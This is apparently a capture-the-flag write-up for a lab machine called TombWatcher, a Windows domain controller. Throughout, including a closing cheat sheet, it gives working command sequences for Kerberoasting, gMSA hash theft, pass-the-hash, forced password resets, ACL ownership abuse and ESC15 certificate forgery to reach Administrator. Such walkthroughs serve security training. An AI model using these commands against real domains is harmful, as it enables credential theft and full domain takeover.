πͺ¦ TombWatcher
Machine: TombWatcher
Difficulty: Medium/Hard
Theme: Assumed breach β AD ACL chain β gMSA abuse β deleted object restore β ADCS ESC15 β Administrator
π― Summary
TombWatcher starts with valid low-privileged credentials for henry. Initial enumeration identifies the host as a Windows Domain Controller for tombwatcher.htb.
BloodHound reveals a long but clean Active Directory ACL chain:
henry β WriteSPN β alfred
alfred β AddSelf β Infrastructure
Infrastructure β ReadGMSAPassword β ansible_dev$
ansible_dev$ β ForceChangePassword β sam
sam β WriteOwner β john
john β MemberOf β Remote Management Users
john β GenericAll β ADCS OUThe ADCS OU appears empty at first, but certificate enumeration reveals a WebServer template with an unresolved SID in its enrollment rights. The SID maps to a deleted user, cert_admin, whose last known parent was the ADCS OU.
By restoring cert_admin, inheriting control from the ADCS OU, and resetting its password, the certificate enrollment principal is recovered. cert_admin can then abuse an ESC15-vulnerable WebServer template to escalate to Administrator.
1. Enumeration
Initial port scanning showed typical Domain Controller services:
SMB
LDAP / LDAPS
Kerberos
DNS
WinRM
ADWS
RPC dynamic portsThis confirmed the target was a Domain Controller.
Hosts file
The domain and DC hostname were added to /etc/hosts:
echo "[TARGET_IP] tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hostsAuthenticated SMB
The provided credentials confirmed valid access:
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]'RID brute-force
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --rid-bruteInteresting objects included:
henry
alfred
sam
john
Infrastructure
ansible_dev$Password policy
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --pass-polNotable settings:
Minimum password length: 1
Password complexity disabled
No lockout threshold
No maximum password ageThe weak policy was useful context, but the real path was through AD ACL abuse rather than password spraying.
2. BloodHound Enumeration
BloodHound data was collected with Henryβs credentials:
bloodhound-python -u henry -p '[REDACTED]' -d tombwatcher.htb -ns [TARGET_IP] -c AllKerberos initially failed due to clock skew, so time synchronization was required:
sudo ntpdate [TARGET_IP]After importing the BloodHound data, the critical path was:
henry β WriteSPN β alfred
alfred β AddSelf β Infrastructure
Infrastructure β ReadGMSAPassword β ansible_dev$
ansible_dev$ β ForceChangePassword β sam
sam β WriteOwner β john
john β MemberOf β Remote Management Users
john β GenericAll β ADCS OUThis gave a clear privilege escalation chain.
3. Targeted Kerberoasting via WriteSPN
BloodHound showed that henry had WriteSPN over alfred.
Check Alfredβs current SPN state
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
get object alfred --attr servicePrincipalNameThe attribute was empty.
Add a temporary SPN
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
set object alfred servicePrincipalName -v 'http/something-unique.tombwatcher.htb'Verify it took:
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
get object alfred --attr servicePrincipalNameRequest a TGS and crack it
GetUserSPNs.py -dc-ip [TARGET_IP] tombwatcher.htb/henry:[REDACTED] \
-request -request-user alfred -outputfile spn_hash.txthashcat -m 13100 spn_hash.txt /usr/share/wordlists/rockyou.txtRecovered:
alfred : [REDACTED]Clean up
After the hash was captured, the temporary SPN was removed and the cleanup verified:
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u henry -p '[REDACTED]' \
set object alfred servicePrincipalName
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
get object alfred --attr servicePrincipalName4. Add Alfred to Infrastructure
BloodHound showed:
alfred β AddSelf β InfrastructureAlfred added himself to the Infrastructure group:
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
add groupMember Infrastructure alfredVerify membership:
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
get object alfred --attr memberOfThis unlocked the next edge:
Infrastructure β ReadGMSAPassword β ansible_dev$5. Read gMSA Password for ansible_dev$
Using Alfredβs membership in Infrastructure, the gMSA managed password for ansible_dev$ was retrieved:
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
get object 'ansible_dev$' --attr msDS-ManagedPasswordThe useful value was the NT hash field:
msDS-ManagedPassword.NTThe long Base64 blob was not used for authentication. The NT hash was used with pass-the-hash:
nxc smb [TARGET_IP] -u 'ansible_dev$' -H '[NT_HASH]'This confirmed valid authentication as the gMSA account.
6. ForceChangePassword on sam
BloodHound showed:
ansible_dev$ β ForceChangePassword β samThis allowed resetting Samβs password without knowing the original password:
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u 'ansible_dev$' -p :[NT_HASH] \
set password sam '[REDACTED]'Samβs credentials were validated:
nxc smb [TARGET_IP] -u sam -p '[REDACTED]'7. Take Over John via WriteOwner
BloodHound showed:
sam β WriteOwner β johnWriteOwner does not directly reset a password. The abuse path is:
take ownership of John
grant Sam full control over John
reset John's passwordChange ownership
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
set owner john samGrant Sam GenericAll over John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
add genericAll john samReset Johnβs password
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
set password john '[REDACTED]'Validate:
nxc smb [TARGET_IP] -u john -p '[REDACTED]'WinRM as John
BloodHound showed John was a member of Remote Management Users, so WinRM access was tested:
evil-winrm -i [TARGET_IP] -u john -p '[REDACTED]'This provided an interactive shell as John.
User flag
type C:\Users\john\Desktop\user.txt8. ADCS Enumeration
John also had:
john β GenericAll β ADCS OUAt first, the ADCS OU appeared empty in BloodHound:
Groups: 0
Computers: 0
Users: 0Certificate services were enumerated with Certipy:
certipy find -u john@tombwatcher.htb -p '[REDACTED]' \
-target dc01.tombwatcher.htb -dc-ip [TARGET_IP] -output certipy_fullThe important template was:
Template Name: WebServer
Display Name: Web Server
Schema Version: 1
Enrollee Supplies Subject: True
Extended Key Usage: Server Authentication
Requires Manager Approval: False
Authorized Signatures Required: 0The template contained an unresolved SID in its enrollment rights:
S-1-5-21-1392491010-1358638721-2126982587-1111The relevant template data was extracted from the Certipy JSON with jq:
jq -r '
.["Certificate Templates"] |
to_entries[] |
select(
(
all(
.value.Permissions."Enrollment Permissions"."Enrollment Rights"[];
test("domain|enterprise|RAS"; "i")
)
) | not
)
' certipy_full_Certipy.jsonThe WebServer template stood out because the unresolved SID appeared alongside Domain Admins and Enterprise Admins.
9. Correlate the Unresolved SID to a Deleted Object
From the WinRM shell as John, the unresolved SID was queried directly:
Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' `
-IncludeDeletedObjects `
-Properties cn,name,objectSid,isDeleted,lastKnownParent,msDS-LastKnownRDN,objectGUID,distinguishedNameThis revealed a deleted user:
Name: cert_admin
ObjectClass: user
Deleted: True
ObjectGUID: 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid: S-1-5-21-1392491010-1358638721-2126982587-1111
LastKnownParent: OU=ADCS,DC=tombwatcher,DC=htbThis explained why the ADCS OU was empty: the certificate-related user had been deleted, but its SID still held enrollment rights on the WebServer template.
10. Restore cert_admin
The deleted user was restored by ObjectGUID:
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"Verify:
Get-ADUser cert_admin -Properties objectSid,distinguishedName,enabledThe user was restored to:
CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htbwith the same SID:
S-1-5-21-1392491010-1358638721-2126982587-1111Inherit FullControl from the ADCS OU
Because John had GenericAll over the ADCS OU, inherited control was applied to child objects:
dacledit.py -action 'write' -rights 'FullControl' -inheritance \
-principal john \
-target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' \
'TOMBWATCHER.HTB/john:[REDACTED]'Reset cert_adminβs password
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u john -p '[REDACTED]' \
set password cert_admin '[REDACTED]'Important gotcha:
The restored user was periodically deleted by a cleanup task.
The restore β reset β certificate request had to be performed quickly.Validate the account:
nxc smb [TARGET_IP] -u cert_admin -p '[REDACTED]'11. Confirm cert_admin Enrollment Rights
Certipy was rerun as cert_admin:
certipy find -u cert_admin@tombwatcher.htb -p '[REDACTED]' \
-dc-ip [TARGET_IP] -vulnerableThe WebServer template now showed:
Enrollment Rights: TOMBWATCHER.HTB\cert_admin
User Enrollable Principals: TOMBWATCHER.HTB\cert_admin
Vulnerability: ESC15The important ESC15 conditions were:
Schema Version: 1
Enrollee Supplies Subject: True
Requires Manager Approval: False
Authorized Signatures Required: 0This confirmed that cert_admin could abuse the vulnerable WebServer template.
12. Abuse ESC15
The WebServer template was vulnerable to ESC15 because it was a schema version 1 template with enrollee-supplied subject enabled.
The working abuse path was to request a certificate as cert_admin while injecting application policy and Administrator identity information.
certipy req \
-u 'cert_admin@tombwatcher.htb' \
-p '[REDACTED]' \
-dc-ip '[TARGET_IP]' \
-target 'dc01.tombwatcher.htb' \
-ca 'tombwatcher-CA-1' \
-template 'WebServer' \
-upn 'administrator@tombwatcher.htb' \
-sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
-application-policies 'Client Authentication'This generated an Administrator certificate.
Depending on local TLS/OpenSSL behavior, the certificate can be used through Certipy authentication or LDAP/Schannel-based authentication. The goal is to obtain Administrator-level access or credential material.
certipy auth -dc-ip [TARGET_IP] -pfx administrator.pfx13. Final Shell as Administrator
With Administrator credential material, WinRM access to the Domain Controller was obtained:
evil-winrm -i [TARGET_IP] -u Administrator -H [NT_HASH]Then:
whoami
type C:\Users\Administrator\Desktop\root.txtThis completed the box.
π Condensed Attack Chain
henry
β
WriteSPN over alfred
β
Targeted Kerberoast
β
alfred
β
AddSelf to Infrastructure
β
ReadGMSAPassword on ansible_dev$
β
ansible_dev$ NT hash
β
ForceChangePassword over sam
β
sam
β
WriteOwner over john
β
Take ownership of john
β
Grant GenericAll over john
β
Reset john password
β
WinRM as john
β
GenericAll over ADCS OU
β
Certipy finds WebServer template with unresolved SID
β
Deleted object lookup maps SID to cert_admin
β
Restore cert_admin
β
Inherited FullControl from ADCS OU
β
Reset cert_admin password
β
cert_admin enrolls in WebServer template
β
ESC15
β
Administrator certificate
β
Administrator access
β
Root flagπ§ Key Takeaways
- BloodHound paths should be validated one edge at a time instead of blindly trusting shortest-path output.
WriteSPNover a user can be converted into credentials through targeted Kerberoasting β set, roast, crack, then clean up.- gMSA password retrieval gives an NT hash that can be used directly with pass-the-hash. The Base64 blob is not what you authenticate with.
WriteOwneris not the final abuse primitive by itself. It enables ownership change, which then enables DACL modification and account takeover.GenericAllover an empty OU is not necessarily useless. In this case, the OU mattered because a deleted objectβsLastKnownParentpointed back to it.- Unresolved SIDs in certificate template permissions are high-value clues. They can reveal deleted or orphaned principals that still retain sensitive rights.
- ESC15 can turn an apparently server-authentication-only template into a domain escalation path when schema version 1 and enrollee-supplied subject are present.
β‘ Commands Cheat Sheet
# Host mapping
echo "[TARGET_IP] tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts
# RID brute
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --rid-brute
# Password policy
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --pass-pol
# BloodHound collection
bloodhound-python -u henry -p '[REDACTED]' -d tombwatcher.htb -ns [TARGET_IP] -c All
# Time sync
sudo ntpdate [TARGET_IP]
# Check Alfred SPN
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
get object alfred --attr servicePrincipalName
# Add fake SPN
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
set object alfred servicePrincipalName -v 'http/something-unique.tombwatcher.htb'
# Request TGS
GetUserSPNs.py -dc-ip [TARGET_IP] tombwatcher.htb/henry:[REDACTED] \
-request -request-user alfred -outputfile spn_hash.txt
# Crack TGS
hashcat -m 13100 spn_hash.txt /usr/share/wordlists/rockyou.txt
# Clean Alfred SPN
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u henry -p '[REDACTED]' \
set object alfred servicePrincipalName
# Add Alfred to Infrastructure
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
add groupMember Infrastructure alfred
# Read gMSA password
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
get object 'ansible_dev$' --attr msDS-ManagedPassword
# Validate gMSA hash
nxc smb [TARGET_IP] -u 'ansible_dev$' -H '[NT_HASH]'
# Reset Sam
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u 'ansible_dev$' -p :[NT_HASH] \
set password sam '[REDACTED]'
# Take ownership of John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
set owner john sam
# Grant GenericAll over John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
add genericAll john sam
# Reset John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
set password john '[REDACTED]'
# WinRM as John
evil-winrm -i [TARGET_IP] -u john -p '[REDACTED]'
# Certipy enumeration
certipy find -u john@tombwatcher.htb -p '[REDACTED]' \
-target dc01.tombwatcher.htb -dc-ip [TARGET_IP] -output certipy_full# Find deleted cert_admin by SID (from WinRM as john)
Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' `
-IncludeDeletedObjects `
-Properties cn,name,objectSid,isDeleted,lastKnownParent,msDS-LastKnownRDN,objectGUID,distinguishedName
# Restore cert_admin
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"# Apply inherited FullControl on ADCS OU
dacledit.py -action 'write' -rights 'FullControl' -inheritance \
-principal john \
-target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' \
'TOMBWATCHER.HTB/john:[REDACTED]'
# Reset cert_admin
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u john -p '[REDACTED]' \
set password cert_admin '[REDACTED]'
# Confirm ESC15
certipy find -u cert_admin@tombwatcher.htb -p '[REDACTED]' \
-dc-ip [TARGET_IP] -vulnerable
# ESC15 certificate request
certipy req \
-u 'cert_admin@tombwatcher.htb' \
-p '[REDACTED]' \
-dc-ip '[TARGET_IP]' \
-target 'dc01.tombwatcher.htb' \
-ca 'tombwatcher-CA-1' \
-template 'WebServer' \
-upn 'administrator@tombwatcher.htb' \
-sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
-application-policies 'Client Authentication'
# Authenticate with Administrator certificate
certipy auth -dc-ip [TARGET_IP] -pfx administrator.pfx
# Final shell
evil-winrm -i [TARGET_IP] -u Administrator -H [NT_HASH]π Related Manual Notes
Field-manual techniques demonstrated on this box:
- NetExec_BloodHound β AD enumeration / BloodHound
- AD_Kerberoasting β Kerberoasting (WriteSPN)
- AD_ACL_Abuse β object-control / ACL abuse chain
- Pass_the_Certificate β ADCS certificate abuse (ESC15)
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: BloodHound collection fails with KRB_AP_ERR_SKEW
Meaning: The local clock has drifted from the DC; Kerberos rejects the auth
Next: sudo ntpdate <DC-IP> and re-run collection
Symptom: WriteSPN over a user but their servicePrincipalName is empty
Meaning: No SPN to roast yet β but you can write one
Next: bloodyAD set object <user> servicePrincipalName -v 'http/unique.<domain>', then GetUserSPNs.py -request-user <user>, then clean the SPN
Symptom: msDS-ManagedPassword query returns both a Base64 blob and an NT hash field
Meaning: The blob is the raw managed password structure; the NT hash is the usable secret
Next: Use the NT hash for pass-the-hash (nxc smb ... -H <NT_HASH>) β never authenticate with the blob
Symptom: WriteOwner edge but password reset isnβt allowed directly
Meaning: WriteOwner is not a direct reset β itβs a permission to take ownership
Next: Chain: set owner <target> <you> β add genericAll <target> <you> β set password <target> <new>
Symptom: BloodHound shows an OU as the target of GenericAll but the OU appears empty
Meaning: Donβt dismiss it β deleted objects with lastKnownParent pointing here may still hold rights
Next: Enumerate certificate templates with Certipy; look for unresolved SIDs in enrollment rights
Symptom: Certipy shows a vulnerable cert template with an unresolved SID in its enrollment rights
Meaning: A previously deleted principal still holds rights to the template
Next: Query AD with -IncludeDeletedObjects to map the SID to a tombstoned user
Symptom: Restored an AD object but itβs missing inherited rights
Meaning: Inheritance from the parent OU wasnβt reapplied on restore
Next: Apply inherited FullControl with dacledit.py -action write -rights FullControl -inheritance
Symptom: Restored user keeps disappearing
Meaning: A scheduled cleanup task is purging restored objects
Next: Do restore β password reset β certificate request in one fast pass; donβt pause
Symptom: Want to abuse an ESC15 (schema v1 + enrollee-supplied subject) template
Meaning: Need to inject application policy + target identity in the request
Next: certipy req ... -upn 'administrator@<domain>' -sid <admin-SID> -application-policies 'Client Authentication'
Symptom: Have Administrator PFX but certipy auth returns a strange OpenSSL/Schannel error
Meaning: Some TLS/OpenSSL configurations break the cert-based auth path
Next: Fall back to LDAP/Schannel-based auth, or use the certificate for an alternate auth method to recover the NT hash
π Personal Notes
The decisive step on TombWatcher is realizing that the ADCS OU being empty does not make it irrelevant. The unresolved SID on the WebServer template is the clue that a deleted object still matters.
Once the SID is mapped to cert_admin, the whole path becomes clear:
restore the deleted principal
inherit control from the ADCS OU
recover enrollment rights
abuse ESC15This box is a strong example of why AD exploitation is not just about finding one dangerous edge. The full path required chaining object control, gMSA retrieval, password resets, ownership abuse, deleted object recovery, and ADCS template exploitation.